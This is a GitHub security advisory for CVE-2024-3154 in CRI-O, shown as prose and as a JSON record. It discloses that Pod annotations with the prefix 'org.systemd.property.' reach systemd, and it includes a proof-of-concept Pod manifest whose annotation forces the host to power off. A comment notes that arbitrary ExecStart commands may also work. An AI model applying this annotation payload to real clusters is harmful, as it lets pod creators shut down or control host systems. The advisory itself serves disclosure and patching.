ghsa-2cgq-h8xw-2v5j
Vulnerability from github
Impact
On CRI-O, it looks like an arbitrary systemd property can be injected via a Pod annotation: ```
apiVersion: v1 kind: Pod metadata: name: poc-arbitrary-systemd-property-injection annotations: # I believe that ExecStart with an arbitrary command works here too, # but I haven't figured out how to marshalize the ExecStart struct to gvariant string. org.systemd.property.SuccessAction: "'poweroff-force'" spec: containers: - name: hello image: quay.io/podman/hello ```
This means that any user who can create a pod with an arbitrary annotation may perform an arbitrary action on the host system.
Tested with CRI-O v1.24 on minikube. I didn't test the latest v1.29 because it is incompatible with minikube: https://github.com/kubernetes/minikube/pull/18367
Thanks to Cédric Clerget (GitHub ID @cclerget) for finding out that CRI-O just passes pod annotations to OCI annotations: https://github.com/opencontainers/runc/pull/3923#discussion_r1532292536
CRI-O has to filter out annotations that have the prefix "org.systemd.property."
See also: - https://github.com/opencontainers/runtime-spec/blob/main/features.md#unsafe-annotations-in-configjson - https://github.com/opencontainers/runc/pull/4217
Workarounds
Unfortunately, the only workarounds would involve an external mutating webhook to disallow these annotations
References
{ "affected": [ { "database_specific": { "last_known_affected_version_range": "\u003c= 1.29.3" }, "package": { "ecosystem": "Go", "name": "github.com/cri-o/cri-o" }, "ranges": [ { "events": [ { "introduced": "1.29.0" }, { "fixed": "1.29.4" } ], "type": "ECOSYSTEM" } ] }, { "database_specific": { "last_known_affected_version_range": "\u003c= 1.28.5" }, "package": { "ecosystem": "Go", "name": "github.com/cri-o/cri-o" }, "ranges": [ { "events": [ { "introduced": "1.28.0" }, { "fixed": "1.28.6" } ], "type": "ECOSYSTEM" } ] }, { "database_specific": { "last_known_affected_version_range": "\u003c= 1.27.5" }, "package": { "ecosystem": "Go", "name": "github.com/cri-o/cri-o" }, "ranges": [ { "events": [ { "introduced": "0" }, { "fixed": "1.27.6" } ], "type": "ECOSYSTEM" } ] } ], "aliases": [ "CVE-2024-3154" ], "database_specific": { "cwe_ids": [ "CWE-77" ], "github_reviewed": true, "github_reviewed_at": "2024-04-30T09:39:38Z", "nvd_published_at": null, "severity": "HIGH" }, "details": "### Impact\nOn CRI-O, it looks like an arbitrary systemd property can be injected via a Pod annotation:\n```\n---\napiVersion: v1\nkind: Pod\nmetadata:\n name: poc-arbitrary-systemd-property-injection\n annotations:\n # I believe that ExecStart with an arbitrary command works here too,\n # but I haven\u0027t figured out how to marshalize the ExecStart struct to gvariant string.\n org.systemd.property.SuccessAction: \"\u0027poweroff-force\u0027\"\nspec:\n containers:\n - name: hello\n image: [quay.io/podman/hello](http://quay.io/podman/hello)\n```\n\nThis means that any user who can create a pod with an arbitrary annotation may perform an arbitrary action on the host system.\n\nTested with CRI-O v1.24 on minikube.\nI didn\u0027t test the latest v1.29 because it is incompatible with minikube: https://github.com/kubernetes/minikube/pull/18367\n\nThanks to C\u00e9dric Clerget (GitHub ID @cclerget) for finding out that CRI-O just passes pod annotations to OCI annotations:\nhttps://github.com/opencontainers/runc/pull/3923#discussion_r1532292536\n\nCRI-O has to filter out annotations that have the prefix \"org.systemd.property.\"\n\nSee also:\n- https://github.com/opencontainers/runtime-spec/blob/main/features.md#unsafe-annotations-in-configjson\n- https://github.com/opencontainers/runc/pull/4217\n\n\n### Workarounds\nUnfortunately, the only workarounds would involve an external mutating webhook to disallow these annotations\n\n### References\n\n", "id": "GHSA-2cgq-h8xw-2v5j", "modified": "2024-05-01T13:06:49Z", "published": "2024-04-30T09:39:38Z", "references": [ { "type": "WEB", "url": "https://github.com/cri-o/cri-o/security/advisories/GHSA-2cgq-h8xw-2v5j" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-3154" }, { "type": "WEB", "url": "https://github.com/opencontainers/runc/pull/4217" }, { "type": "WEB", "url": "https://access.redhat.com/security/cve/CVE-2024-3154" }, { "type": "WEB", "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2272532" }, { "type": "PACKAGE", "url": "https://github.com/cri-o/cri-o" }, { "type": "WEB", "url": "https://github.com/opencontainers/runtime-spec/blob/main/features.md#unsafe-annotations-in-configjson" } ], "schema_version": "1.4.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "type": "CVSS_V3" } ], "summary": "CRI-O vulnerable to an arbitrary systemd property injection" }
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- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.